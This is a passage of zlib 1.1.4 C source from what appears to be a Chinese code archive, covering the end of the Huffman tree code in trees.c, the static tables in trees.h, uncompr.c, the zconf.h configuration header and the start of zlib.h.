        if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1;
    }
#endif
    return (s->last_lit == s->lit_bufsize-1);
    /* We avoid equality with lit_bufsize because of wraparound at 64K
     * on 16 bit machines and because stored blocks are restricted to
     * 64K-1 bytes.
     */
}

/* ===========================================================================
 * Send the block data compressed using the given Huffman trees
 */
local void compress_block(s, ltree, dtree)
    deflate_state *s;
    ct_data *ltree; /* literal tree */
    ct_data *dtree; /* distance tree */
{
    unsigned dist;      /* distance of matched string */
    int lc;             /* match length or unmatched char (if dist == 0) */
    unsigned lx = 0;    /* running index in l_buf */
    unsigned code;      /* the code to send */
    int extra;          /* number of extra bits to send */

    if (s->last_lit != 0) do {
        dist = s->d_buf[lx];
        lc = s->l_buf[lx++];
        if (dist == 0) {
            send_code(s, lc, ltree); /* send a literal byte */
            Tracecv(isgraph(lc), (stderr," '%c' ", lc));
        } else {
            /* Here, lc is the match length - MIN_MATCH */
            code = _length_code[lc];
            send_code(s, code+LITERALS+1, ltree); /* send the length code */
            extra = extra_lbits[code];
            if (extra != 0) {
                lc -= base_length[code];
                send_bits(s, lc, extra);       /* send the extra length bits */
            }
            dist--; /* dist is now the match distance - 1 */
            code = d_code(dist);
            Assert (code < D_CODES, "bad d_code");

            send_code(s, code, dtree);       /* send the distance code */
            extra = extra_dbits[code];
            if (extra != 0) {
                dist -= base_dist[code];
                send_bits(s, dist, extra);   /* send the extra distance bits */
            }
        } /* literal or match pair ? */

        /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */
        Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow");

    } while (lx < s->last_lit);

    send_code(s, END_BLOCK, ltree);
    s->last_eob_len = ltree[END_BLOCK].Len;
}

/* ===========================================================================
 * Set the data type to ASCII or BINARY, using a crude approximation:
 * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise.
 * IN assertion: the fields freq of dyn_ltree are set and the total of all
 * frequencies does not exceed 64K (to fit in an int on 16 bit machines).
 */
local void set_data_type(s)
    deflate_state *s;
{
    int n = 0;
    unsigned ascii_freq = 0;
    unsigned bin_freq = 0;
    while (n < 7)        bin_freq += s->dyn_ltree[n++].Freq;
    while (n < 128)    ascii_freq += s->dyn_ltree[n++].Freq;
    while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq;
    s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII);
}

/* ===========================================================================
 * Reverse the first len bits of a code, using straightforward code (a faster
 * method would use a table)
 * IN assertion: 1 <= len <= 15
 */
local unsigned bi_reverse(code, len)
    unsigned code; /* the value to invert */
    int len;       /* its bit length */
{
    register unsigned res = 0;
    do {
        res |= code & 1;
        code >>= 1, res <<= 1;
    } while (--len > 0);
    return res >> 1;
}

/* ===========================================================================
 * Flush the bit buffer, keeping at most 7 bits in it.
 */
local void bi_flush(s)
    deflate_state *s;
{
    if (s->bi_valid == 16) {
        put_short(s, s->bi_buf);
        s->bi_buf = 0;
        s->bi_valid = 0;
    } else if (s->bi_valid >= 8) {
        put_byte(s, (Byte)s->bi_buf);
        s->bi_buf >>= 8;
        s->bi_valid -= 8;
    }
}

/* ===========================================================================
 * Flush the bit buffer and align the output on a byte boundary
 */
local void bi_windup(s)
    deflate_state *s;
{
    if (s->bi_valid > 8) {
        put_short(s, s->bi_buf);
    } else if (s->bi_valid > 0) {
        put_byte(s, (Byte)s->bi_buf);
    }
    s->bi_buf = 0;
    s->bi_valid = 0;
#ifdef DEBUG
    s->bits_sent = (s->bits_sent+7) & ~7;
#endif
}

/* ===========================================================================
 * Copy a stored block, storing first the length and its
 * one's complement if requested.
 */
local void copy_block(s, buf, len, header)
    deflate_state *s;
    charf    *buf;    /* the input data */
    unsigned len;     /* its length */
    int      header;  /* true if block header must be written */
{
    bi_windup(s);        /* align on byte boundary */
    s->last_eob_len = 8; /* enough lookahead for inflate */

    if (header) {
        put_short(s, (ush)len);   
        put_short(s, (ush)~len);
#ifdef DEBUG
        s->bits_sent += 2*16;
#endif
    }
#ifdef DEBUG
    s->bits_sent += (ulg)len<<3;
#endif
    while (len--) {
        put_byte(s, *buf++);
    }
}








源码/Zip/trees.h

/* header created automatically with -DGEN_TREES_H */

local const ct_data static_ltree[L_CODES+2] = {
{{ 12},{  8}}, {{140},{  8}}, {{ 76},{  8}}, {{204},{  8}}, {{ 44},{  8}},
{{172},{  8}}, {{108},{  8}}, {{236},{  8}}, {{ 28},{  8}}, {{156},{  8}},
{{ 92},{  8}}, {{220},{  8}}, {{ 60},{  8}}, {{188},{  8}}, {{124},{  8}},
{{252},{  8}}, {{  2},{  8}}, {{130},{  8}}, {{ 66},{  8}}, {{194},{  8}},
{{ 34},{  8}}, {{162},{  8}}, {{ 98},{  8}}, {{226},{  8}}, {{ 18},{  8}},
{{146},{  8}}, {{ 82},{  8}}, {{210},{  8}}, {{ 50},{  8}}, {{178},{  8}},
{{114},{  8}}, {{242},{  8}}, {{ 10},{  8}}, {{138},{  8}}, {{ 74},{  8}},
{{202},{  8}}, {{ 42},{  8}}, {{170},{  8}}, {{106},{  8}}, {{234},{  8}},
{{ 26},{  8}}, {{154},{  8}}, {{ 90},{  8}}, {{218},{  8}}, {{ 58},{  8}},
{{186},{  8}}, {{122},{  8}}, {{250},{  8}}, {{  6},{  8}}, {{134},{  8}},
{{ 70},{  8}}, {{198},{  8}}, {{ 38},{  8}}, {{166},{  8}}, {{102},{  8}},
{{230},{  8}}, {{ 22},{  8}}, {{150},{  8}}, {{ 86},{  8}}, {{214},{  8}},
{{ 54},{  8}}, {{182},{  8}}, {{118},{  8}}, {{246},{  8}}, {{ 14},{  8}},
{{142},{  8}}, {{ 78},{  8}}, {{206},{  8}}, {{ 46},{  8}}, {{174},{  8}},
{{110},{  8}}, {{238},{  8}}, {{ 30},{  8}}, {{158},{  8}}, {{ 94},{  8}},
{{222},{  8}}, {{ 62},{  8}}, {{190},{  8}}, {{126},{  8}}, {{254},{  8}},
{{  1},{  8}}, {{129},{  8}}, {{ 65},{  8}}, {{193},{  8}}, {{ 33},{  8}},
{{161},{  8}}, {{ 97},{  8}}, {{225},{  8}}, {{ 17},{  8}}, {{145},{  8}},
{{ 81},{  8}}, {{209},{  8}}, {{ 49},{  8}}, {{177},{  8}}, {{113},{  8}},
{{241},{  8}}, {{  9},{  8}}, {{137},{  8}}, {{ 73},{  8}}, {{201},{  8}},
{{ 41},{  8}}, {{169},{  8}}, {{105},{  8}}, {{233},{  8}}, {{ 25},{  8}},
{{153},{  8}}, {{ 89},{  8}}, {{217},{  8}}, {{ 57},{  8}}, {{185},{  8}},
{{121},{  8}}, {{249},{  8}}, {{  5},{  8}}, {{133},{  8}}, {{ 69},{  8}},
{{197},{  8}}, {{ 37},{  8}}, {{165},{  8}}, {{101},{  8}}, {{229},{  8}},
{{ 21},{  8}}, {{149},{  8}}, {{ 85},{  8}}, {{213},{  8}}, {{ 53},{  8}},
{{181},{  8}}, {{117},{  8}}, {{245},{  8}}, {{ 13},{  8}}, {{141},{  8}},
{{ 77},{  8}}, {{205},{  8}}, {{ 45},{  8}}, {{173},{  8}}, {{109},{  8}},
{{237},{  8}}, {{ 29},{  8}}, {{157},{  8}}, {{ 93},{  8}}, {{221},{  8}},
{{ 61},{  8}}, {{189},{  8}}, {{125},{  8}}, {{253},{  8}}, {{ 19},{  9}},
{{275},{  9}}, {{147},{  9}}, {{403},{  9}}, {{ 83},{  9}}, {{339},{  9}},
{{211},{  9}}, {{467},{  9}}, {{ 51},{  9}}, {{307},{  9}}, {{179},{  9}},
{{435},{  9}}, {{115},{  9}}, {{371},{  9}}, {{243},{  9}}, {{499},{  9}},
{{ 11},{  9}}, {{267},{  9}}, {{139},{  9}}, {{395},{  9}}, {{ 75},{  9}},
{{331},{  9}}, {{203},{  9}}, {{459},{  9}}, {{ 43},{  9}}, {{299},{  9}},
{{171},{  9}}, {{427},{  9}}, {{107},{  9}}, {{363},{  9}}, {{235},{  9}},
{{491},{  9}}, {{ 27},{  9}}, {{283},{  9}}, {{155},{  9}}, {{411},{  9}},
{{ 91},{  9}}, {{347},{  9}}, {{219},{  9}}, {{475},{  9}}, {{ 59},{  9}},
{{315},{  9}}, {{187},{  9}}, {{443},{  9}}, {{123},{  9}}, {{379},{  9}},
{{251},{  9}}, {{507},{  9}}, {{  7},{  9}}, {{263},{  9}}, {{135},{  9}},
{{391},{  9}}, {{ 71},{  9}}, {{327},{  9}}, {{199},{  9}}, {{455},{  9}},
{{ 39},{  9}}, {{295},{  9}}, {{167},{  9}}, {{423},{  9}}, {{103},{  9}},
{{359},{  9}}, {{231},{  9}}, {{487},{  9}}, {{ 23},{  9}}, {{279},{  9}},
{{151},{  9}}, {{407},{  9}}, {{ 87},{  9}}, {{343},{  9}}, {{215},{  9}},
{{471},{  9}}, {{ 55},{  9}}, {{311},{  9}}, {{183},{  9}}, {{439},{  9}},
{{119},{  9}}, {{375},{  9}}, {{247},{  9}}, {{503},{  9}}, {{ 15},{  9}},
{{271},{  9}}, {{143},{  9}}, {{399},{  9}}, {{ 79},{  9}}, {{335},{  9}},
{{207},{  9}}, {{463},{  9}}, {{ 47},{  9}}, {{303},{  9}}, {{175},{  9}},
{{431},{  9}}, {{111},{  9}}, {{367},{  9}}, {{239},{  9}}, {{495},{  9}},
{{ 31},{  9}}, {{287},{  9}}, {{159},{  9}}, {{415},{  9}}, {{ 95},{  9}},
{{351},{  9}}, {{223},{  9}}, {{479},{  9}}, {{ 63},{  9}}, {{319},{  9}},
{{191},{  9}}, {{447},{  9}}, {{127},{  9}}, {{383},{  9}}, {{255},{  9}},
{{511},{  9}}, {{  0},{  7}}, {{ 64},{  7}}, {{ 32},{  7}}, {{ 96},{  7}},
{{ 16},{  7}}, {{ 80},{  7}}, {{ 48},{  7}}, {{112},{  7}}, {{  8},{  7}},
{{ 72},{  7}}, {{ 40},{  7}}, {{104},{  7}}, {{ 24},{  7}}, {{ 88},{  7}},
{{ 56},{  7}}, {{120},{  7}}, {{  4},{  7}}, {{ 68},{  7}}, {{ 36},{  7}},
{{100},{  7}}, {{ 20},{  7}}, {{ 84},{  7}}, {{ 52},{  7}}, {{116},{  7}},
{{  3},{  8}}, {{131},{  8}}, {{ 67},{  8}}, {{195},{  8}}, {{ 35},{  8}},
{{163},{  8}}, {{ 99},{  8}}, {{227},{  8}}
};

local const ct_data static_dtree[D_CODES] = {
{{ 0},{ 5}}, {{16},{ 5}}, {{ 8},{ 5}}, {{24},{ 5}}, {{ 4},{ 5}},
{{20},{ 5}}, {{12},{ 5}}, {{28},{ 5}}, {{ 2},{ 5}}, {{18},{ 5}},
{{10},{ 5}}, {{26},{ 5}}, {{ 6},{ 5}}, {{22},{ 5}}, {{14},{ 5}},
{{30},{ 5}}, {{ 1},{ 5}}, {{17},{ 5}}, {{ 9},{ 5}}, {{25},{ 5}},
{{ 5},{ 5}}, {{21},{ 5}}, {{13},{ 5}}, {{29},{ 5}}, {{ 3},{ 5}},
{{19},{ 5}}, {{11},{ 5}}, {{27},{ 5}}, {{ 7},{ 5}}, {{23},{ 5}}
};

const uch _dist_code[DIST_CODE_LEN] = {
 0,  1,  2,  3,  4,  4,  5,  5,  6,  6,  6,  6,  7,  7,  7,  7,  8,  8,  8,  8,
 8,  8,  8,  8,  9,  9,  9,  9,  9,  9,  9,  9, 10, 10, 10, 10, 10, 10, 10, 10,
10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12,
12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,  0,  0, 16, 17,
18, 18, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22,
23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28,
28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29,
29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29
};

const uch _length_code[MAX_MATCH-MIN_MATCH+1]= {
 0,  1,  2,  3,  4,  5,  6,  7,  8,  8,  9,  9, 10, 10, 11, 11, 12, 12, 12, 12,
13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16,
17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19,
19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20,
21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 22,
22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23,
23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,
25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 28
};

local const int base_length[LENGTH_CODES] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 12, 14, 16, 20, 24, 28, 32, 40, 48, 56,
64, 80, 96, 112, 128, 160, 192, 224, 0
};

local const int base_dist[D_CODES] = {
    0,     1,     2,     3,     4,     6,     8,    12,    16,    24,
   32,    48,    64,    96,   128,   192,   256,   384,   512,   768,
 1024,  1536,  2048,  3072,  4096,  6144,  8192, 12288, 16384, 24576
};
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/* uncompr.c -- decompress a memory buffer
 * Copyright (C) 1995-2002 Jean-loup Gailly.
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* @(#) $Id$ */

#include "zlib.h"

/* ===========================================================================
     Decompresses the source buffer into the destination buffer.  sourceLen is
   the byte length of the source buffer. Upon entry, destLen is the total
   size of the destination buffer, which must be large enough to hold the
   entire uncompressed data. (The size of the uncompressed data must have
   been saved previously by the compressor and transmitted to the decompressor
   by some mechanism outside the scope of this compression library.)
   Upon exit, destLen is the actual size of the compressed buffer.
     This function can be used to decompress a whole file at once if the
   input file is mmap'ed.

     uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
   enough memory, Z_BUF_ERROR if there was not enough room in the output
   buffer, or Z_DATA_ERROR if the input data was corrupted.
*/
int ZEXPORT uncompress (dest, destLen, source, sourceLen)
    Bytef *dest;
    uLongf *destLen;
    const Bytef *source;
    uLong sourceLen;
{
    z_stream stream;
    int err;

    stream.next_in = (Bytef*)source;
    stream.avail_in = (uInt)sourceLen;
    /* Check for source > 64K on 16-bit machine: */
    if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;

    stream.next_out = dest;
    stream.avail_out = (uInt)*destLen;
    if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;

    stream.zalloc = (alloc_func)0;
    stream.zfree = (free_func)0;

    err = inflateInit(&stream);
    if (err != Z_OK) return err;

    err = inflate(&stream, Z_FINISH);
    if (err != Z_STREAM_END) {
        inflateEnd(&stream);
        return err == Z_OK ? Z_BUF_ERROR : err;
    }
    *destLen = stream.total_out;

    err = inflateEnd(&stream);
    return err;
}
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/* zconf.h -- configuration of the zlib compression library
 * Copyright (C) 1995-2002 Jean-loup Gailly.
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* @(#) $Id$ */

#ifndef _ZCONF_H
#define _ZCONF_H

/*
 * If you *really* need a unique prefix for all types and library functions,
 * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
 */
#ifdef Z_PREFIX
#  define deflateInit_	z_deflateInit_
#  define deflate	z_deflate
#  define deflateEnd	z_deflateEnd
#  define inflateInit_ 	z_inflateInit_
#  define inflate	z_inflate
#  define inflateEnd	z_inflateEnd
#  define deflateInit2_	z_deflateInit2_
#  define deflateSetDictionary z_deflateSetDictionary
#  define deflateCopy	z_deflateCopy
#  define deflateReset	z_deflateReset
#  define deflateParams	z_deflateParams
#  define inflateInit2_	z_inflateInit2_
#  define inflateSetDictionary z_inflateSetDictionary
#  define inflateSync	z_inflateSync
#  define inflateSyncPoint z_inflateSyncPoint
#  define inflateReset	z_inflateReset
#  define compress	z_compress
#  define compress2	z_compress2
#  define uncompress	z_uncompress
#  define adler32	z_adler32
#  define crc32		z_crc32
#  define get_crc_table z_get_crc_table

#  define Byte		z_Byte
#  define uInt		z_uInt
#  define uLong		z_uLong
#  define Bytef	        z_Bytef
#  define charf		z_charf
#  define intf		z_intf
#  define uIntf		z_uIntf
#  define uLongf	z_uLongf
#  define voidpf	z_voidpf
#  define voidp		z_voidp
#endif

#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
#  define WIN32
#endif
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
#  ifndef __32BIT__
#    define __32BIT__
#  endif
#endif
#if defined(__MSDOS__) && !defined(MSDOS)
#  define MSDOS
#endif

/*
 * Compile with -DMAXSEG_64K if the alloc function cannot allocate more
 * than 64k bytes at a time (needed on systems with 16-bit int).
 */
#if defined(MSDOS) && !defined(__32BIT__)
#  define MAXSEG_64K
#endif
#ifdef MSDOS
#  define UNALIGNED_OK
#endif

#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32))  && !defined(STDC)
#  define STDC
#endif
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
#  ifndef STDC
#    define STDC
#  endif
#endif

#ifndef STDC
#  ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
#    define const
#  endif
#endif

/* Some Mac compilers merge all .h files incorrectly: */
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
#  define NO_DUMMY_DECL
#endif

/* Old Borland C incorrectly complains about missing returns: */
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
#  define NEED_DUMMY_RETURN
#endif


/* Maximum value for memLevel in deflateInit2 */
#ifndef MAX_MEM_LEVEL
#  ifdef MAXSEG_64K
#    define MAX_MEM_LEVEL 8
#  else
#    define MAX_MEM_LEVEL 9
#  endif
#endif

/* Maximum value for windowBits in deflateInit2 and inflateInit2.
 * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
 * created by gzip. (Files created by minigzip can still be extracted by
 * gzip.)
 */
#ifndef MAX_WBITS
#  define MAX_WBITS   15 /* 32K LZ77 window */
#endif

/* The memory requirements for deflate are (in bytes):
            (1 << (windowBits+2)) +  (1 << (memLevel+9))
 that is: 128K for windowBits=15  +  128K for memLevel = 8  (default values)
 plus a few kilobytes for small objects. For example, if you want to reduce
 the default memory requirements from 256K to 128K, compile with
     make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
 Of course this will generally degrade compression (there's no free lunch).

   The memory requirements for inflate are (in bytes) 1 << windowBits
 that is, 32K for windowBits=15 (default value) plus a few kilobytes
 for small objects.
*/

                        /* Type declarations */

#ifndef OF /* function prototypes */
#  ifdef STDC
#    define OF(args)  args
#  else
#    define OF(args)  ()
#  endif
#endif

/* The following definitions for FAR are needed only for MSDOS mixed
 * model programming (small or medium model with some far allocations).
 * This was tested only with MSC; for other MSDOS compilers you may have
 * to define NO_MEMCPY in zutil.h.  If you don't need the mixed model,
 * just define FAR to be empty.
 */
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
   /* MSC small or medium model */
#  define SMALL_MEDIUM
#  ifdef _MSC_VER
#    define FAR _far
#  else
#    define FAR far
#  endif
#endif
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
#  ifndef __32BIT__
#    define SMALL_MEDIUM
#    define FAR _far
#  endif
#endif

/* Compile with -DZLIB_DLL for Windows DLL support */
#if defined(ZLIB_DLL)
#  if defined(_WINDOWS) || defined(WINDOWS)
#    ifdef FAR
#      undef FAR
#    endif
#    include <windows.h>
#    define ZEXPORT  WINAPI
#    ifdef WIN32
#      define ZEXPORTVA  WINAPIV
#    else
#      define ZEXPORTVA  FAR _cdecl _export
#    endif
#  endif
#  if defined (__BORLANDC__)
#    if (__BORLANDC__ >= 0x0500) && defined (WIN32)
#      include <windows.h>
#      define ZEXPORT __declspec(dllexport) WINAPI
#      define ZEXPORTRVA __declspec(dllexport) WINAPIV
#    else
#      if defined (_Windows) && defined (__DLL__)
#        define ZEXPORT _export
#        define ZEXPORTVA _export
#      endif
#    endif
#  endif
#endif

#if defined (__BEOS__)
#  if defined (ZLIB_DLL)
#    define ZEXTERN extern __declspec(dllexport)
#  else
#    define ZEXTERN extern __declspec(dllimport)
#  endif
#endif

#ifndef ZEXPORT
#  define ZEXPORT
#endif
#ifndef ZEXPORTVA
#  define ZEXPORTVA
#endif
#ifndef ZEXTERN
#  define ZEXTERN extern
#endif

#ifndef FAR
#   define FAR
#endif

#if !defined(MACOS) && !defined(TARGET_OS_MAC)
typedef unsigned char  Byte;  /* 8 bits */
#endif
typedef unsigned int   uInt;  /* 16 bits or more */
typedef unsigned long  uLong; /* 32 bits or more */

#ifdef SMALL_MEDIUM
   /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
#  define Bytef Byte FAR
#else
   typedef Byte  FAR Bytef;
#endif
typedef char  FAR charf;
typedef int   FAR intf;
typedef uInt  FAR uIntf;
typedef uLong FAR uLongf;

#ifdef STDC
   typedef void FAR *voidpf;
   typedef void     *voidp;
#else
   typedef Byte FAR *voidpf;
   typedef Byte     *voidp;
#endif

#ifdef HAVE_UNISTD_H
#  include <sys/types.h> /* for off_t */
#  include <unistd.h>    /* for SEEK_* and off_t */
#  define z_off_t  off_t
#endif
#ifndef SEEK_SET
#  define SEEK_SET        0       /* Seek from beginning of file.  */
#  define SEEK_CUR        1       /* Seek from current position.  */
#  define SEEK_END        2       /* Set file pointer to EOF plus "offset" */
#endif
#ifndef z_off_t
#  define  z_off_t long
#endif

/* MVS linker does not support external names larger than 8 bytes */
#if defined(__MVS__)
#   pragma map(deflateInit_,"DEIN")
#   pragma map(deflateInit2_,"DEIN2")
#   pragma map(deflateEnd,"DEEND")
#   pragma map(inflateInit_,"ININ")
#   pragma map(inflateInit2_,"ININ2")
#   pragma map(inflateEnd,"INEND")
#   pragma map(inflateSync,"INSY")
#   pragma map(inflateSetDictionary,"INSEDI")
#   pragma map(inflate_blocks,"INBL")
#   pragma map(inflate_blocks_new,"INBLNE")
#   pragma map(inflate_blocks_free,"INBLFR")
#   pragma map(inflate_blocks_reset,"INBLRE")
#   pragma map(inflate_codes_free,"INCOFR")
#   pragma map(inflate_codes,"INCO")
#   pragma map(inflate_fast,"INFA")
#   pragma map(inflate_flush,"INFLU")
#   pragma map(inflate_mask,"INMA")
#   pragma map(inflate_set_dictionary,"INSEDI2")
#   pragma map(inflate_copyright,"INCOPY")
#   pragma map(inflate_trees_bits,"INTRBI")
#   pragma map(inflate_trees_dynamic,"INTRDY")
#   pragma map(inflate_trees_fixed,"INTRFI")
#   pragma map(inflate_trees_free,"INTRFR")
#endif

#endif /* _ZCONF_H */
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/* zlib.h -- interface of the 'zlib' general purpose compression library
  version 1.1.4, March 11th, 2002

  Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler

  This software is provided 'as-is', without any express or implied
  warranty.  In no event will the authors be held liable for any damages
  arising from the use of this software.

  Permission is granted to anyone to use this software for any purpose,
  including commercial applications, and to alter it and redistribute it
  freely, subject to the following restrictions:

  1. The origin of this software must not be misrepresented; you must not
     claim that you wrote the original software. If you use this software
     in a product, an acknowledgment in the product documentation would be
     appreciated but is not required.
  2. Altered source versions must be plainly marked as such, and must not be
     misrepresented as being the original software.
  3. This notice may not be removed or altered from any source distribution.

  Jean-loup Gailly        Mark Adler
  jloup@gzip.org          madler@alumni.caltech.edu


  The data format used by the zlib library is described by RFCs (Request for
  Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
  (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
*/

#ifndef _ZLIB_H
#define _ZLIB_H

#include "zconf.h"

#ifdef __cplusplus
extern "C" {
#endif

#define ZLIB_VERSION "1.1.4"

/* 
     The 'zlib' compression library provides in-memory compression and
  decompression functions, including integrity checks of the uncompressed
  data.  This version of the library supports only one compression method
  (deflation) but other algorithms will be added later and will have the same
  stream interface.

     Compression can be done in a single step if the buffers are large
  enough (for example if an input file is mmap'ed), or can be done by
  repeated calls of the compression function.  In the latter case, the
  application must provide more input and/or consume the output
  (providing more output space) before each call.

     The library also supports reading and writing files in gzip (.gz) format
  with an interface similar to that of stdio.

     The library does not install any signal handler. The decoder checks
  the consistency of the compressed data, so the library should never
  crash even in case of corrupted input.
*/

typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
typedef void   (*free_func)  OF((voidpf opaque, voidpf address));

struct internal_state;

typedef struct z_stream_s {
    Bytef    *next_in;  /* next input byte */
    uInt     avail_in;  /* number of bytes available at next_in */
    uLong    total_in;  /* total nb of input bytes read so far */

    Bytef    *next_out; /* next output byte should be put there */
    uInt     avail_out; /* remaining free space at next_out */
    uLong    total_out; /* total nb of bytes output so far */

    char     *msg;      /* last error message, NULL if no error */
    struct internal_state FAR *state; /* not visible by applications */

    alloc_func zalloc;  /* used to allocate the internal state */
    free_func  zfree;   /* used to free the internal state */
    voidpf     opaque;  /* private data object passed to zalloc and zfree */

    int     data_type;  /* best guess about the data type: ascii or binary */
    uLong   adler;      /* adler32 value of the uncompressed data */
    uLong   reserved;   /* reserved for future use */
} z_stream;

typedef z_stream FAR *z_streamp;

/*
   The application must update next_in and avail_in when avail_in has
   dropped to zero. It must update next_out and avail_out when avail_out
   has dropped to zero. The application must initialize zalloc, zfree and
   opaque before calling the init function. All other fields are set by the
   compression library and must not be updated by the application.

   The opaque value provided by the application will be passed as the first
   parameter for calls of zalloc and zfree. This can be useful for custom
   memory management. The compression library attaches no meaning to the
   opaque value.

   zalloc must return Z_NULL if there is not enough memory for the object.
   If zlib is used in a multi-threaded application, zalloc and zfree must be
   thread safe.

   On 16-bit systems, the functions zalloc and zfree must be able to allocate
   exactly 65536 bytes, but will not be required to allocate more than this
   if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
   pointers returned by zalloc for objects of exactly 65536 bytes *must*
   have their offset normalized to zero. The default allocation function
   provided by this library ensures this (see zutil.c). To reduce memory
   requirements and avoid any allocation of 64K objects, at the expense of
   compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).

   The fields total_in and total_out can be used for statistics or
   progress reports. After compression, total_in holds the total size of
   the uncompressed data and may be saved for use in the decompressor
   (particularly if the decompressor wants to decompress everything in
   a single step).
*/

                        /* constants */

#define Z_NO_FLUSH      0
#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
#define Z_SYNC_FLUSH    2
#define Z_FULL_FLUSH    3
#define Z_FINISH        4
/* Allowed flush values; see deflate() below for details */

#define Z_OK            0
#define Z_STREAM_END    1
#define Z_NEED_DICT     2
#define Z_ERRNO        (-1)
#define Z_STREAM_ERROR (-2)
#define Z_DATA_ERROR   (-3)
